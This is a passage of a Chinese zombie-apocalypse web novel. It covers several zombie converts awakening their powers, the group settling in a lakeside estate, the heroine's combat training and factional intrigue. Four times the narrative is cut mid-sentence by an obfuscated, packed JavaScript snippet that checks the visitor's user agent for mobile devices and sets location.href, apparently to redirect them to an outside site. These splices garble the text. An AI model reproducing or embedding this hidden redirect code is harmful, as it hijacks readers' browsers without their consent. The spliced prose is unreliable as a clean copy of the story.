卢淼还有微弱的呼吸,霍云初不知道她是什么时候被感染的,也不知道她为何会突然出现在这里。 他本应该问问卢淼的意愿,可卢淼伤势太重,无论如何都无法被叫醒,呼吸越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621809|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来越微弱。 如果再不采取行动,她或许会死在下一秒。 意识到这一点,霍云初伸出手。 “她那时已经被感染了,伤势太重,失去了意识,我只能先把她转化成丧尸,看看能不能醒过来吧。” 说完卢淼的事,霍云初才想起被他丢进后备箱的陈霄,急忙下车,池遥跟着霍云初下车,余光看到坐在后排发呆的韩厢月,和他身旁的干净衣物,急忙招手让心悦跟着一起下车。 后备箱里,陈霄仍旧昏迷不醒,池遥回想起韩厢月转化为丧尸的那个晚上,韩厢月似乎也是在昏迷几小时后才转化成丧尸的。 霍云初把陈霄拎回车上时,韩厢月已经清理干净后座的血污,换上了一身干净的衣服,除却尺码对于身形修长的他略小之外,因为他实在清瘦,反而还算合身。 “看好他们两个。”霍云初吩咐一句,再次下车,走向了停在后侧的另一辆车。 “你们都没事吧?”池遥打开门,见车里的幸存者们纷纷摇头,才松了一口气。 霍云初把五花大绑的关振拎出来,拍拍心悦的肩膀,示意她先上这辆车。 “等卢淼没事了,我们再来叫你。” 算上两个还没转化成丧尸的人,另一辆车上已经有四只丧尸了,普通人类还是不要和他们共乘一辆车才好。 再次发动车子时,昏迷不醒的卢淼,陈霄,关振三人占据了后两排座椅,霍云初与池遥仍旧坐在最前排,韩厢月坐在他们背后,时不时回头看一眼身后的人。 “我们要去哪儿?” 池遥问霍云初。 “虽然说是要去云城,但云城太远了,我们要去的是云城和海城中心的白眉镇。告诉沈观宴他们的是假信息。”说着,霍云初简单为她介绍了白眉镇的情况。 丧尸爆发前,为了隔离高烧病人,在不少城镇都建立了隔离区。 白眉镇就是北方建立的第一个隔离区,也是末日初期丧尸密度较高的地区之一,因为占地面积不大,而且在丧尸爆发前就提前封锁,因此没有被轰炸。 “如果跟着我们的幸存者全部都是人类身份,我会去云城,据我所知,云城有几个小规模基地,有很多普通人类。” 霍云初叹了口气,目光从反光镜中看向后座的几人。 “但现在,我们有不少人都变成了丧尸,这种情况下,反而是丧尸密集的白眉镇更有利于驻扎。” 池遥没理解他的意思。 “白眉镇是末日初期丧尸高度密集的地区,普通人不会轻易踏足那里,也就证明,那里物资很丰富。”霍云初解释道,“而且高等丧尸会驱使普通丧尸,有高等丧尸在,他们在白眉镇建立基地,也不会有丧尸主动攻击。” 的确,对于他们这支普通人和高等丧尸混杂在一起的队伍而言,丧尸密集的地方反而是对他们有利的地方。 在确定了新的目的地之后,霍云初在下一个岔路停车,下车与后一辆车的幸存者交代目的地,顺便补充汽油。 池遥与韩厢月留在车里,忽然听到一声微弱的痛呼。 转过头,她才发现,被五花大绑的关振醒了。 86. 白眉湖庄园2 韩厢月反应很快,不等关振睁开眼睛,一个手刀过去,关振再度陷入昏迷。 池遥这才发现,经过海城研究院事件之后,一向苍白柔弱,极不擅长打斗的韩厢月也在以极快速度变强。 她不得不承认,在末世作为人类时,因疾病无法好好活下去的韩厢月,转变成高等丧尸后反而过得更好了。 在残酷的末世中,高等丧尸居然是比普通人更安全可靠的存在。 韩厢月转变成丧尸时,池遥还沉浸在新鲜感当中,可当眼睁睁地看着面前昏迷的卢淼和陈霄,池遥心中隐约产生一种微妙的恐惧。 在末世当中岌岌可危的普通人,无法用自己的力量存活下来,只能沦为丧尸的食粮。 同样是人类被感染变成的高等丧尸,却拥有与能力者相匹敌的强大能力,又拥有远远强于能力者的体魄。 池遥想不到,当未来这两方真的对立时,人类有什么办法与丧尸抗衡。 这似乎变成了一个死局。 霍云初是她的恩人,好友,可同样是观念与人类迥异的丧尸。 每把一位同伴转变为高等丧尸,就意味着,丧尸群体中多了一只强大的高等丧尸。 可想活下去的人也没有错啊。 脑袋乱成一团浆糊,池遥忍不住叹了口气。 “怎么了?”韩厢月凑过来,语气很柔和。 池遥自然不可能将自己的顾虑说给韩厢月听,她的目光飘到卢淼和陈霄身上,迟疑片刻,轻声问道。 “变成高等丧尸后,你能感觉到身上有什么变化吗?” “最大的变化就是,在我的感知里,人类的存在变得特别鲜明。”韩厢月迟疑好一会儿,轻声开口。 “鲜明?”他使用的词汇让池遥摸不着头脑。 “能闻到人类身上散发的气味,凑近后能听到血流的声音。”青年的眼眸垂下来,盯着池遥搭在椅背上的手,白皙的手腕间,青紫色的血管脉络十分明显,若是集中注意力,就能听到细微的声音。 韩厢月不敢听那种声音,会勾起他作为丧尸的本能。 “我很难形容是什么感觉,就是,我可以一眼辨认出人类和丧尸,而且注意力会自然而然聚焦在人类身上。” 他斟酌了一会儿,只挑了一部分告诉池遥。 在他的眼中,人类与猎物无异,即使他没有狩猎的意愿,体内属于丧尸的本能也迫使他关注身边每个人类,如同掠食者被猎物引诱,他也本能地被人类吸引。 只是,在意识到自己的本能行为是源于饥饿之后,韩厢月就控制住了自己,以往他会主动凑到池遥身边,但渐渐地,他反而与池遥拉开了距离。 就比如此时此刻,霍云初不在,车上只剩他们两人清醒,池遥坐在副驾驶位,而韩厢月则坐在驾驶座后排靠窗的位置,二人之间形成一条对角线,若是以前,韩厢月一定会趁机挪到池遥身后的折叠座椅上,隔着椅背贴近她的脸,和她近距离讲话,而不是像现在,两人之间泾渭分明。 只不过,他这段时间的故意疏远,池遥完全没注意到。 池遥心中积攒的事很多,除了曲卓的踪迹之外,还包括一行人的落脚点,霍云初的丧尸身份,她尚未踏足的几个基地情况,甚至还会想想她那只不知所踪的小猫。 小猫虽然无用,但实在可爱,她还是很想念的。 没过一会儿,霍云初上车,车子再度出发,池遥告诉了霍云初关振醒来又被打晕的事。 “你还记得隐山的院长吗?”霍云初把绑架关振的用意说出来,“我没在海城研究院里找到那个人,绑架这个研究员是想问问他的情况。” “林北辰不是想找什么道具吗,现在也没找到,说不定就是在那个不知所踪的院长身上。” 原来是这样。 此时,车子正在向前行进,显然不是审问关振的好时机。 几小时后,车子进入了白眉镇,这一次,池遥终于在窗外看到了大片游荡的丧尸,但有霍云初和韩厢月在,这些丧尸对他们的车子退避三舍,根本不会主动攻击上来。 和其他城镇比起来,白眉镇的建筑破损程度很低,这座小镇在丧尸爆发之前就成为了隔离区,健康的镇民早早撤离出小镇,只剩下了隔离在医院里病人和医生护士们。 被隔离的病人的人数是医护人员的好几倍,在丧尸爆发之后,这些医护人员就成为了第一批葬身于丧尸之手的人类。 在成为隔离区之前,白眉镇是一座旅游小镇,以小镇东侧的湖泊白眉湖闻名。 白眉湖岸边,是一座私人名下的湖景庄园,据说是某个富豪的房产,庄园外围被三米高的铁栅栏包围,里面是联排别墅,各色设施应有尽有,甚至还有发电机,长时间无人居住,也没有丧尸入侵,还保留着末日前的面貌。 庄园的大门已经被从内部锁死,无法打开,在湖景栈道的尽头还连着一扇小门,若是想进入庄园,只能从小门进出。 霍云初在庄园背侧停车,和韩厢月各抱起一个昏迷的孩子,下了车。 见霍云初下车,另一辆车的幸存者们也纷纷跟随他们下车,沿着庄园外围的栅栏,走向湖边栈道。 池遥起初跟在霍云初身后,渐渐的,步伐越来越慢,最终直接停了下来。 她眼睁睁看着所有人踏上栈道的台阶,从湖上栈道走向另一边的小门。 在她眼前,栈道外围仿佛镀上一层流光溢彩的薄膜,整个白眉湖都被奇异的光晕笼罩住,这个场景并不陌生,从霍云初刚刚的话中,她立刻意识到了这是什么。 白眉湖在末日之前,是有名的旅游景区。 末日后,这里自然而然,变成了仅能力者可见的景点。 走到半程,霍云初忽然回过头。 “池遥在后面吗?” 他的目光略过一张张属于幸存者的脸,越到湖岸边,却始终没看到池遥的身影。 池遥慢慢走上了栈道。 或许是存着一点侥幸心思,也可能是好奇心所致,她试探着,踏上了木质栈道的台阶。 脚步踏上台阶的一瞬间,栈道上的人影全部消失,静谧的湖边只剩下了她一个人的身影。 果然,这里就是一处景点。 远远看上去死气沉沉的白眉湖,在景点中看上去却生机勃勃,周围绿意盎然,湖水清澈见底,而在湖水中心,一道道波纹在平静的湖面上荡开,湖心的波纹越来越密集,不多时,一个湿漉漉的影子从湖中骤然探出头来。 是个面色惨白的少女。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16625517|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “终于有人来了!” 与她略显诡异的出场方式不同,她的声音欢快而活跃,像个不谙世事的孩子。 “欢迎来到白眉湖景点,但这里的最低开放人数是十人,目前还只有您一位哦!” 湖中的身影如同一条灵活的鱼,转瞬之间游到了她的面前,抓着栈道栏杆爬上岸,湿淋淋的负责人冲她露出一个遗憾的表情。 “当然,您也可以在这里等待,只不过这里位置实在太偏了,末日以来,我只见过两个能力者,不知道什么时候才能开启景点呢。” “我不是来景点打卡的。”抓住负责人说话的间隙,池遥连忙开口。 “你能看到外面的状况吗?我是和同伴一起来的,只是想通过栈道去另一边而已,没想到这里居然还有景点。”池遥指指栈道尽头的小门。 “原来是这样,也好,如果你留下来继续等我还要负责你的三餐,也很麻烦,我这就把你送出去。” 不知为何,听到池遥的话,负责人也跟着松了口气,脸上刻意挤出的笑容消失殆尽,但这幅样子却比她笑起来看着舒服多了。 “等等,”池遥抓住她的手,“我要去栈道尽头的小门,既然栈道是景点区域,那我要怎么过去?” 负责人一时间愣在原地,她看看池遥,又看看湖边的庄园,沉默了。 “你们是要去湖边的庄园里吗?” 池遥点头。 “那你也可以不走小门。” 负责人的下半身以肉眼可见的速度瘫软下去,如同软体动物一般滑进湖中,一头扎进水下,没过一会儿,再次露头出来,从水下递了一个巨大的东西。 是一架简易木梯。 “你从庄园外围的栅栏边爬梯子不就能进去了吗。” 水下的负责人冲她露出一个笑容,等着池遥把梯子完全接过去。 然而,池遥一手向上拖动梯子,在完全接过梯子时,迅速蹲下,伸长手臂,握住了负责人尚未收回去的手。 入手皮肤冰冷滑腻,的确是人类皮肤的触感,然而,她却感觉不到手掌之下坚硬的骨骼。 也正因为感受不到骨骼,这只手可以肆意折叠拉扯,让池遥再次想起深海中的软体动物。 “景点的负责人,究竟是什么样的存在啊......” 她忍不住感叹一句。 “负责人一般是和景点联系最深的存在,不一定是人类,也有可能是生灵,精怪,甚至非人的存在。”被她拉着手的负责人皱着小脸回答。 “我是几百年前葬身在湖中的一具尸体,这么多年过去,尸骨早就不存在了,直到白眉湖变成景点,与湖共存的我才成了负责人,形体也只有人形,没有骨骼支撑。” “原来是这样。”白眉湖的负责人性格不错,池遥抓住机会提问,“只要是景点,都会有负责人吗?” “当然了,但不同负责人的性格不同。有些负责人喜欢出现在旅人面前,有些负责人从不露面。但从成为景点负责人开始,负责人就与景点绑定,与景点共存,永远无法离开景点。” 想到香林山景区内模样与孩童无异的负责人,池遥默默点点头。 “谢谢你告诉我这么多,我一定常常来看你。” 87. 白眉湖庄园3 还没等到负责人的回答,池遥就被气呼呼的白眉湖景点负责人送出了景点。 眼前的景物一变,她出现在了停在庄园背侧的商务车旁边,脚边还有负责人送她的梯子。 霍云初等人虽然去了庄园小门处,但被他们绑架的关振却仍旧被留在车里,池遥等了一会儿,果然看到了折返回来的霍云初。 霍云初神色凝重,看到等在车前的池遥,有些惊愕。 “你没跟着我们去小门那边?” “这里是景点。”池遥指了指前方平静的湖面,简单向霍云初解释了景点的定义,“我没办法去栈道那边,只能用梯子从栅栏边翻过去。” 尽管麻烦了点,好歹还是有进入庄园的办法的。 她抱着梯子向霍云初示意,刚把梯子靠着栏杆搭好,忽然眼睛一亮。 “说不定这是个好事呢!” 她笑着看向霍云初。 “如果未来这里真的被发现了,能力者要进来的话一定会经过栈道,到时候就会直接进入到景点内部,反而没办法进入庄园里面。” 的确,他们的队伍里只有池遥一人是能力者,其他人都是高等丧尸与普通人类,白眉镇是被隔离的小镇,这片庄园在被隔离后就无人居住,附近又有景点的保护,已经是短时间内能够找到最好的驻扎地了。 很快,池遥就通过梯子来到了庄园内。 联排别墅共有三栋,另一辆车上的幸存者们占用两栋双层别墅,而池遥和霍云初几人则占据了最大的三层别墅,池遥与心悦卢淼三个女生住在顶层,剩下的高等丧尸们住在楼下。 直到霍云初和韩厢月把昏迷着的卢淼和陈霄搬进别墅一楼大厅,二人也没有丝毫反应。 此时已经是第二天中午,夜里经历了海城研究院爆炸的事件,大家皆是一夜没睡的疲惫状态,霍云初第一时间让池遥与心悦去房间里补觉,他和韩厢月留在楼下守着两个孩子。 池遥只睡了一个多小时就醒了过来,身边的心悦睡得很沉,她哭了太多次,之后又强打精神守着卢淼,一直没有好好休息过。 来到这个世界后,池遥难以入睡的情况完全没有任何好转,之前在车里休息的时候也时常惊醒,黑眼圈已经像时尚单品一样牢牢焊在脸上。 唯一睡眠充足的时间段,竟然是她被关在隐山实验室里的时候。 挂念着卢淼和陈霄的情况,她无声地从床上起身,悄悄走出房间。 一楼大厅内,霍云初正坐在沙发上,在池遥入睡期间,他似乎将昏迷的卢淼移到了沙发上,只剩陈霄孤零零的倒在地上,两个孩子此时都紧皱着眉头,神情痛苦。 池遥的目光在二人面上闪过,又看向一旁的霍云初,见他神情放松,才在心里松了口气。 五花大绑的关振被霍云初用黑布蒙住眼睛,关进了书房里。 大厅另一侧,韩厢月拿着纸笔,倚在玄关旁的橱柜前,正在记录着什么。 “池遥,你手里的食物快要吃完了吧?” 见池遥盯着韩厢月看,霍云初突然开口问道。 丧尸不需要吃东西,但普通人还需要进食,最开始,到了午饭时间,幸存者们会拿出他们离开时打包带走的食物各自解决,但幸存者手中的食物本就有限,池遥的吊坠中还有不少物资,这段时间一直是池遥在无偿分享自己的物资。 霍云初说得没错,池遥吊坠中的食物已经不多了。 “我们在地下室发现了很多物资,有泡面,罐头,压缩饼干,够你们支撑一段时间了。”韩厢月冲池遥挥了挥手里的笔,“你们睡着的时候,我去统计了一下这座房子里可用的物资,等我记录完了给你看。” 或许是因为末日前被划为隔离区,这座别墅里囤积了不少物资,无人使用,正好造福了池遥等人。 想到这里,池遥彻底放下心来。 有充足的物资,短期内这里不会出现任何问题,这些人能够在这座庄园内生活得很好。 唯一的问题,就是昏迷不醒的两个孩子。 想到这里,池遥扭过头,看向倒在沙发上的卢淼,正看到她紧皱眉头,身体不安地颤抖着,颤抖幅度越来越大。 与此同时,她的手也深深陷进沙发内,似乎被什么东西紧紧缚住,在拼命挣扎。 “什么情况?” 坐在一旁的霍云初也感觉到不对,站起身,池遥这才发现,不知何时,沙发垫下方似乎有什么绳状物在翻滚,缠住卢淼的正是那种东西! “那是什么?” 韩厢月也意识到了不对劲。 “应该是她的能力。”霍云初拦住了想上前看情况的池遥,“让她自己解决。” 过了好一会儿,卢淼的手才从沙发垫子里拔了出来,然而,一同显形的,是几条紧紧缠着她手腕的绿色藤蔓。 有人类手腕粗的藤蔓似乎有意识般,围绕着卢淼的身体游走,渐渐恢复了平静,贴着卢淼的衣袖不再动弹。 几分钟后,卢淼睁开了眼睛。 她看起来还没意识到发生了什么,一见到站在她面前的霍云初,瞪大了眼。 “霍先生!韩厢月被人抓住了,他......” 话没说完,她就看到了站在霍云初身侧,完好如初的韩厢月,呆住了。 “没事了。”韩厢月柔声安慰她,“都过去了,之后的事情你还记得吗?” 卢淼愣愣地盯着霍云初,似乎才意识到发生了什么,连动作都有几分僵硬,呆滞了将近一分钟,才一卡一卡地扭过头,与池遥对视。 看着池遥的目光十分陌生。 “我记得,突然出现了好多丧尸,我被感染了。” 说完这句话,她直勾勾地看着池遥。 “池遥姐姐,我为什么会......会闻到你身上的气味?” 这个问题,池遥无法开口回答。 “我找到了被丧尸感染的你,当时的你状态很不好,我叫不醒你。抱歉,未经你同意,就把你变成了这个样子。” 霍云初回答了她的疑问,他全程没提到丧尸二字,却已经让卢淼意识到了发生了什么。 她愣愣地站起身,走到玄关旁的穿衣镜前,仔细打量着镜中的人影。 “可是我看起来,完全没发生变化啊。” 她对着镜子,慢吞吞地抬起手,捂住心口,又去碰颈侧。 “有呼吸,有心跳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16631727|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能感受到脉搏,我真的已经变成......了吗?” 她刻意略过了丧尸二字。 可话音刚落,她的手轻轻一晃,脚下的地砖就应声碎裂,在地砖的碎片之中,迅速窜出了一条手腕粗的藤蔓,围绕着卢淼舞动。 “啊。” 盯着眼前的藤蔓,卢淼终于找到了几分身为丧尸的实感。 “我真的变成高等丧尸了啊。” 最终,她感叹一声,将藤蔓变小,如同手镯般盘在手上,又收拾好地上的残局,才转过身,面对着神色复杂的霍云初,深深地鞠了一躬。 “谢谢您,霍先生。” “虽然我从没想过我会变成高等丧尸,但您救了我的命。” 与韩厢月不同,卢淼一直以来都极其厌恶丧尸,明显是难以接受自己变成丧尸的现实,可她毕竟经历过濒临死亡的痛苦,仔细想想也能明白霍云初此举是在救她,第一时间冲霍云初道谢。 池遥在心中默默叹了口气。 幸好卢淼很快就接受了现实。 刚刚几人的注意力全在卢淼身上,过了好一会儿才发现,陈霄已经从地板上坐了起来。 “好神奇,这就变成高等丧尸了吗?” 他盯着自己的手掌,好奇地喃喃自语,见众人都回头看他,露出了一个激动的笑容。 与卢淼相反,陈霄一心变强,对于变成高等丧尸并无抵触。 “卢淼姐姐的能力是藤蔓吗?好厉害!不知道我的能力是什么?” 少年兴奋地站起身,在原地手舞足蹈半天,也没发生任何事。 池遥被他的动作逗笑,听到池遥的声音,少年立刻转过头,与池遥对视。 “喂喂,能听见吗?” 然而,对视的瞬间,池遥却听到了陈霄的声音。 可她此时正看着对方,少年的嘴唇明明没有动作。 这声音是从哪里发出来的? “池遥姐姐?能听到吗?” 又是一声传来,这一次池遥听得更清楚了,这分明就是陈霄的声音。 “我能听到。”她不由开口。 “池遥姐姐,你试着在心里叫一声我的名字,再在心里说出想说的话试试。” 池遥点点头,在心里默念了一声陈霄的名字。 陈霄,我听到了。 这一次,她听到了陈霄满是欣喜的声音。 “池遥姐姐,太好了,我听到你的回复了!” 在这之后,陈霄拉着在场的其他人又尝试了许多遍,终于搞明白了他的能力。 陈霄的能力类似于社交媒体的语音通话,他可以直接向认识的人发出心灵通话,听到他声音的人只要在心中默念他的名字,就能与他建立对话。 只不过,这个能力也有一定限制,陈霄只能自己与其他人通话,不能以自己为媒介转接另一人与第三方的通话,而且同一时间内,他只能联系一个人,想要变换对象,必须要他单方面“挂断”后才能联系下一个人。 终于搞明白自己的能力后,一直预想得到超强能力的少年消沉了一阵,总是用羡慕的视线看着卢淼,但很快释然,兴冲冲地化身人形电话骚扰大家去了。 88. 白眉湖庄园4 随着卢淼和陈霄转化成功,这座藏匿在白眉镇的小型基地逐渐开始运转。 除霍云初之外的三位高等丧尸负责每天外出寻找物资,其他幸存者们忙着加固庄园外侧的围栏,而池遥则与霍云初一起来到了镇上。 “确定了吗?”霍云初跟在她身后,神色凝重。 池遥点点头。 卢淼与陈霄醒后,池遥向霍云初提出了一个请求。 觉醒能力后,池遥一直在抓紧机会锻炼身体,现在的力量与速度远远胜过过去的自己,在故乡也不至于惧怕丧尸,那个时候,她以为自己已经成长了。 但来到这个世界后,丧尸的威胁再次升级,若不是有霍云初在身边,池遥很难与这个世界的三阶以上的丧尸抗衡。 作为高等丧尸,霍云初能够驱使普通丧尸,而白眉镇的丧尸密度非常高,因此,池遥请求霍云初利用丧尸来训练她的战斗能力。 这件事对于霍云初而言十分简单。 一直以来,霍云初都习惯性驱使附近的丧尸自发远离队伍,只要霍云初撤掉他施加在丧尸身上的控制力,就达到了池遥的目的。 按照池遥的请求内容,霍云初只需要撤掉能力,之后的一切他不需要在意,白眉镇的丧尸还停留在第二次变异潮之前的水平,还没有四五阶丧尸出现,三阶以下的丧尸她咬咬牙,也能独自解决。 但霍云初思索片刻,决定跟随池遥一同出门,他不插手池遥与丧尸之间的打斗,但一旦发生意外,他会及时出手阻止。 有了霍云初在,池遥彻底放下心来。 为了避免波及到庄园里的众人,二人一路走到白眉镇另一头,霍云初才解除了能力。 没一会儿,原本被霍云初驱逐的丧尸们又循着人类的味道找了回来。 霍云初后退几步,给出足够的空间供池遥打斗,他则站在原地,观察着池遥对付丧尸的手段。 为了锻炼自己的体能,池遥戴上了在别墅中找到的薄手套,避免自己对丧尸使用能力,试图用纯粹的打斗方式杀死丧尸。 池遥手中的武器不再是常用的钢管,那根钢管在与沈观宴打斗时已经光荣牺牲,此时她手中紧握的是一把宽刀。 韩厢月被林北辰用好几把刀贯穿,把韩厢月的伤口处理好后,池遥把几把刀全部收进了吊坠空间当中。 林北辰的刀质量自然不用说,唯一的缺点就是很有分量,挥舞起来有些费体力,但十分锋利,砍杀丧尸效率很高。 霍云初的视线一直精准跟随着池遥的身影。 与单独的丧尸打斗时,她会主动进攻,打斗风格激进,力图在最快时间内杀死丧尸。 而一旦被多名丧尸围堵,她就会立刻摆出防御姿态,灵活地利用周边环境将丧尸群打散,从落单的丧尸开始逐一解决。 作为一个力量欠缺,战斗经验有但不多,体力也不充沛的能力者,池遥已经做得很好了。 她能力不足,做不到从容地应对丧尸,但胜在足够敏捷灵活,战斗时懂得动脑,总是能出其不意。 这是霍云初第一次见到池遥打斗的场面,与人畜无害的长相不同,池遥的动作灵活敏捷,至少能看上去游刃有余地与敌人周旋,又能抓住机会一击致命,但也正因如此,体力不足的问题十分突出。 林北辰的刀子太过锋利,似乎不是用普通的金属材料制成的,砍丧尸的脑子就像切菜砍瓜一样容易,池遥也是头一次直接用刀砍丧尸的脑袋,没什么经验,刀子深深陷了进去,却怎么也拔不出来。 身边还有其他丧尸,池遥立刻松手,抛弃手中的刀,一手握拳猛击正面丧尸的面孔,另一只手趁机从吊坠中拿出第二把刀,用刀背拦住从侧面扑上来袭击的丧尸。 很快,池遥的脚边就多了一片丧尸尸体,池遥没有空闲捡丧尸脑袋里的晶核,只把每只丧尸的脑袋打烂就转而对付下一只丧尸。 “嘭!” 池遥用手中的刀挡住了新出现的丧尸,比起其他干瘦的丧尸,这只丧尸肉眼看上去远比它们健壮,他的攻击也一样有力,明明池遥已经挡住了他的攻击,却也险些没防住他的力道,差点被打飞出去。 脑海中浮现出霍云初曾经说过的话。 ——二阶丧尸在速度和力量方面都远超一阶丧尸,很难对付。 她没有第一时间做出反击,而是又硬着头皮防御几次,确保自己彻底了解对方的力量水平。 原来这就是二阶丧尸啊,力气居然这么大,比她预想中的恐怖多了。 按捺住内心的惊愕,池遥在再一次抵挡的瞬间突然用力弹开扑上来的丧尸,抓住丧尸失去平衡的时机,猛地挥刀! 在这之后,又出现了几只二阶丧尸,有了第一次对付二阶丧尸的经验,池遥驾轻就熟。 霍云初看了一眼手表,时间已经过了一个多小时,池遥的动作已经开始发软,气息早就乱了。 看了这么久,他已经找到了池遥的问题所在。 眼前的景物已经有些模糊,池遥一刀了结身边最后一只丧尸,却发现周围的丧尸此时正如潮水般退去,没一会儿就全部从身边消失了。 只剩下脚下的丧尸尸体,以及不远处旁观这一切的霍云初。 池遥马上反应过来,这是霍云初在帮她,站在原地深呼吸一会儿,调整好呼吸后,蹲下来捡尸体脑袋中的晶核。 等她将所有晶核擦干净,装回吊坠中后,霍云初才来到她身边。 “如果你坚持用丧尸来锻炼战斗能力,坚持一段时间,或许也能收获不错的成效。”霍云初的语气很委婉,“但我认为你最大的问题不在这里。” 池遥抬头看他,用眼神催促他继续说下去。 “你有系统学过格斗吗?” 这问题出乎意料,池遥沉默了一会儿。 末日还没发生的时候,她恨不得每天和床融为一体,视运动为拆散她和床铺的元凶,出门都困难,更不可能去接触格斗。 “当然没有了。” “对,你的反应很快,动作灵活,但对付丧尸的招式不足。我觉得如果你学一些格斗技巧,战斗能力会大大上升。” 若是放到几个月前,池遥的确有这个打算,但到了现在,池遥不得不面对一个事实。 在如今人人自危的末世背景之下,找一个有格斗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639518|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 技巧,还愿意传授给她的人简直就是奇迹。 “我从小学习空手道和散打,你如果愿意的话,我可以教你散打。”见到池遥已经意动,霍云初立刻毛遂自荐。 池遥这才想起来,霍云初曾经说过,他小时候曾遭遇绑架,之后就一直在学习这些。 “还有,你的体力和耐力太差了,以后每天早上去负重长跑一圈再回来。” “好的,”池遥乖乖点头,“霍老师,以后就拜托您了。” 因为池遥的训练,原本打算给幸存者们找到住处就离开的二人又在庄园里停留了一段时间。 而被五花大绑的关振则被霍云初交给了会读心的韩厢月,比起他自己拷问,让韩厢月直接读关振的内心更加方便。 第二天,韩厢月就把关振得知的情报告知了池遥和霍云初,作为Lee博士的助手,关振也不清楚博士究竟去了什么地方,他起初坚信博士跟着其他聚集地的队伍已经进入了聚集地基地内部,但在海城研究院一直没收到博士的消息,他现在内心也产生了动摇。 与和平年代不同,到了末世,科学家与研究学者的含金量大大增长,处于资源匮乏的末世之下,各大基地没有资源和时间再培养一个新的学术精英,因此,现有的科学家就成为了各大基地抢夺的重要资源。 也正因如此,很多科学家的行事风格也变得有恃无恐,道德法制溃散后,很多违背道德标准的实验和研究都在暗中开展,为了拉拢科学家,甚至会主动协助非法研究。 Lee博士的研究也如此,除了聚集地的支持以外,他们还获得了其他势力的支持,这其中甚至还有北方基地的势力。 北方基地几个掌权家族以沈家为首,但不同家族之间也存在派系,更何况沈家家主已经到了退位让贤的年纪,沈家的两个少爷在竞争继承权,各自获得了不同派系的支持。 林北辰的行动明面上是去隐山搜集道具,但道具只是一个幌子,林北辰是借此次行动是震慑对立派系的人。因此才做得那么高调。 想明白了这些后,池遥回想起几天前见过的沈观宴,这个人看起来和她年龄相仿,连大学都没毕业,却已经被卷入如此复杂的斗争中了。 “等等,”她忽然想到什么,“如果林北辰另有目的,那么他就不该对道具那么执着,怎么会因为追查道具一路追到海城研究院?” “对啊。”韩厢月也立即反应过来,一同看向了对面的霍云初。 重新梳理一遍那晚的记忆,他们很快就反应了过来。 “他们的目标是你?” 被二人盯着的霍云初终于叹了口气,苦笑道。 “应该是吧,我们两家是世交,而且我家这一代只有我一个孩子,我家老头年纪大了,一直准备退位。如果我回了北方基地,北方基地的局势会变得更加复杂。” “难以理解,丧尸都猖獗成这样了,这些家伙还在内斗。”池遥摇摇头,感叹了一句。 听到她这话,韩厢月看向她,神色有些复杂,刚要开口说什么,门外突然传来卢淼的声音。 “霍哥哥!我们这次外出带回来了两个幸存者!” 89. 白眉湖庄园5 按理来说,丧尸如此密集的白眉镇,不该有人类存在。 但霍云初和韩厢月两个高等丧尸确认了一下,同时点了点头,露出不可置信的表情。 “还真是人类。” 被卢淼带来的两个人被带到庄园附近,霍云初和韩厢月从小门出去,池遥抱着梯子就近翻出去,反而是第一个到的。 与卢淼交谈的,是一个拄着拐杖的老奶奶,看起来至少有七八十岁,在她身边另一侧,则是一个看上去年纪还没有陈霄大的小女孩,两人穿着十分干净整洁,神色平和。 不知为何,老奶奶的双眼中却一片浑浊,毫无焦距的眼珠外面似乎蒙着一层厚厚的阴翳,池遥反复观察了一会儿,发现这位老人似乎看不见。 一个盲眼老婆婆和未成年的小女孩,究竟是怎么在白眉镇活到现在的? 很快,卢淼就注意到了她,冲她挥了挥手,等池遥走到几人面前,才对身旁的二人介绍道:“婆婆,这是池遥姐姐,我们驻地的管理人之一。” 一边说,还一边隔着衣服虚虚握着老人的手,指向池遥的方向。 “婆婆,我是池遥。” 池遥适时地出声,握住老人干瘪的手。 紧接着,霍云初和韩厢月也赶到了这里,见到老人的身影,俱是一惊。 韩厢月和霍云初只出声介绍自己,为了隐藏丧尸身份,没有和老人产生任何接触。 